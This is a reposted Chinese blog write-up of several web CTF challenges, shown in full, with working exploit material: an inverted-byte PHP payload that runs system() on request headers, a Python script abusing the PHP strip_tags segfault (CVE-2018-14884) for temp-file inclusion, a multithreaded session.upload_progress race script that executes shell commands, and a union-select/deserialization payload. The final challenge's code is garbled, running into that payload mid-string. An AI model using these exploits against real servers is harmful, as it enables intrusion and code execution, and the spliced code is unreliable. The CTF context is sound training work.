[鹏城杯 2022]简单的PHP 首先打开题目得到: 代码: Index IndexController com.wm.ctf.In
首先打开题目得到:
代码:
phpshow_source(__FILE__); $code = $_GET['code']; if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){ die(' Hello'); }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){ @eval($code); }?>
分析代码发现第一个判断语句过滤了字母数字和一些字符,就可以考虑用取反,异化来绕过
第二个判断限定了只能用函数的方式,并且函数里面不能有参数,例如:system() 或者 system(fun())能过判断
所有是无参数,REC
首先可以想到用php中的函数
getallheaders()获取请求头
current()获取第一键值
大体思路是:利用getallheaders()获取我们在请求头传入的命令,在用current()获取第一值,所以我们的命令要在第一个键值对,在利用system执行系统函数
所以传入的是:system(current(getallheaders()));
当我们在进行取反时是:~取反函数字符
这样执行php会报错,我们可以加入一些无效的字符
来解决报错的问题例如:[!%FF]
php脚本:
show_source(__FILE__);//[~%8c%86%8c%8b%9a%92]([~%9c%8a%8d%8d%9a%91%8b]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c]())); $c1='system';$c2='+';$c3='getallheaders';//https://blog.csdn.net/qq_62260856/article/details/129535572$p1=urlencode(~$c1);$p2=urlencode(~$c2);$p3=urlencode(~$c3);echo '
'.'[~'.$p1.']'.'[!%FF]'.'('.'[~'.$p2.']'.'[!%FF]'.'('.'[~'.$p3.']'.'[!%FF]'.'('.')'.')'.');';?>
得到payload:
[~%8c%86%8c%8b%9a%92]([~%9c%8a%8d%8d%9a%91%8b]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c]()));
利用burpsuite得到flag
首先打开题目得到一个登陆界面:
通过搜寻信息得到:
url:Http://313a380f-b897-494f-b5ae-f6d09ad9d5c3.node4.buuoj.cn:81/Download?filename=help.docx
发现存在信息泄露:
打开文件得到xml文件:
<WEB-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <welcome-file-list> <welcome-file>Indexwelcome-file> welcome-file-list> <servlet> <servlet-name>IndexControllerservlet-name> <servlet-class>com.wm.ctf.IndexControllerservlet-class> servlet> <servlet-mapping> <servlet-name>IndexControllerservlet-name> <url-pattern>/Indexurl-pattern> servlet-mapping> <servlet> <servlet-name>LoginControllerservlet-name> <servlet-class>com.wm.ctf.LoginControllerservlet-class> servlet> <servlet-mapping> <servlet-name>LoginControllerservlet-name> <url-pattern>/Loginurl-pattern> servlet-mapping> <servlet> <servlet-name>DownloadControllerservlet-name> <servlet-class>com.wm.ctf.DownloadControllerservlet-class> servlet> <servlet-mapping> <servlet-name>DownloadControllerservlet-name> <url-pattern>/Downloadurl-pattern> servlet-mapping> <servlet> <servlet-name>FlaGControllerservlet-name> <servlet-class>com.wm.ctf.FlagControllerservlet-class> servlet> <servlet-mapping> <servlet-name>FlagControllerservlet-name> <url-pattern>/Flagurl-pattern> servlet-mapping>web-app>
审计发现,flag在/com/wm/ctf/FlagController.class
的文件中
利用filename读取FlagController.class文件
得到:
得到FlagController.class,利用工具jd-gui反编译class文件得到java文件:
得到flag解码得到flag
大开题目得到:
收集信息在源码处得到
传入name和pass试试
得到:
发现Hash值不会会变化,猜测Hash是应该是secret的值加密的结果
让name值为空,pss也等于Hash值试试:
登陆成功得到地址:flflflflag.php
利用burpsuite发包得到:
发现存在文件包含,get一个file
发现可以利用php伪协议读取源码但没什么用
于是就在信息收集扫描目录发现dir.php目录
利用php7 segment fault特性(CVE-2018-14884)
简单的说就是,php://filter的strip_tags过滤器,可以让php执行的时候直接出现Segment Fault,这样php的垃圾回收机制就不会继续执行,导致post的文件会保存在系统的缓冲目录,我们只需要获取保存在文件名,就可以包含恶意代码。
过滤器会导致php崩溃,如果同时上传一个文件,那么这个tmp file就会一直留在tmp目录,临时文件会保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
利用条件:
php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复可以获取文件名源代码将GET参数进行文件包含
所有我们利用file文件包含执行php://filter/string.strip_tags/resource=/etc/passwd
页面就会崩溃,这时候我们通过脚本上传post文件,文件中包含恶意代码就可以getshell 了
import requestsfrom io import BytesIOpayload =""file_data={ 'file': BytesIO(payload.encode())}url="http://65b005d1-4164-4a10-8ed7-494a0db6e72a.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"try: r=requests.post(url=url,files=file_data,allow_redirects=False)except: print(1)print(r.text)
利用文件包含执行代码得到flag:
首先打开题目得到:
<?php if(!isset($_GET['mode'])){ highlight_file(__file__); }else if($_GET['mode'] == "eval"){ $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell); } if(isset($_GET['file'])){ if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file']; } function filter($var){ $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True; } return False; } function checkNums($var){ $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; $cnt = 0; for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $j++){ if($var[$j] == $alphanum[$i]){ $cnt += 1; if($cnt > 8) return True; } } } return False; } ?>
通过测试发现利用eval执行函数不能得到flag
开始考虑利用函数include
PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。
首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含
session文件包含
然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。
访问phpinfo查看session开启情况
这种利用方式需要满足下面几个条件:
目标环境开启了session.upload_progress.enable选项发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段请求的Cookie中包含Session ID
编写python竞争脚本执行命令:
import ioimport requestsimport threading # 多线程from cffi.backend_ctypes import xrangesessid = '0'target = 'http://1.14.71.254:28231'file = 'ph0ebus.txt'f = io.BytesIO(b'a' * 1024 * 50)def write(session): while True: session.post(target, data={'PHP_SESSION_UPLOAD_PROGRESS': ''}, files={'file': (file, f)}, cookies={'PHPSESSID': sessid})def read(session): while True: resp = session.post( f"{target}?mode=foo&file=/tmp/sess_{sessid}&cmd=system('cd /;ls;cat nssctfasdasdflag');") if file in resp.text: print(resp.text) event.clear() else: print("[+]retry")if __name__ == "__main__": event = threading.Event() with requests.session() as session: for i in xrange(1, 30): threading.Thread(target=write, args=(session,)).start() for i in xrange(1, 30): threading.Thread(target=read, args=(session,)).start() event.set()
得到flag
打开题目得到源码
highlight_file(__FILE__);function removedir($dir){ $list= scandir($dir); foreach ($list as $value) { if(is_file($dir.'/'.$value)){ unlink($dir.'/'.$value); }else if($value!="."&&$value!=".."){ removedir($dir.'/'.$value); } }}function unzip($filename){ $result = []; $zip = new ZipArcHive(); $zip->open($filename); $dir = $_SERVER['DOCUMENT_ROOT']."/static/upload/".md5($filename); if(!is_dir($dir)){ mkdir($dir); } if($zip->extractTo($dir)){ foreach (scandir($dir) as $value) { $file_ext=strrchr($value, '.'); $file_ext=strtolower($file_ext); //转换为小写 $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext=trim($file_ext); //收尾去空 if(is_dir($dir."/".$value)&&$value!="."&&$value!=".."){ removedir($dir); } if(!preg_match("/jpg|png|gif|jpeg/is",$file_ext)){ if(is_file($dir."/".$value)){ unlink($dir."/".$value); }else{ if($value!="."&&$value!="..") array_push($result,$value); }} } $zip->close(); unlink($filename); return JSON_encode($result); }else{ return false; } }$content= $_REQUEST['content'];shell_exec('rm -rf /tmpuNIOnselect1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%23
源码base64解码得到flag
来源地址:https://blog.csdn.net/plant1234/article/details/129471527
--结束END--
本文标题: 预备-刷题记录二
本文链接: https://lsjlt.com/news/423450.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0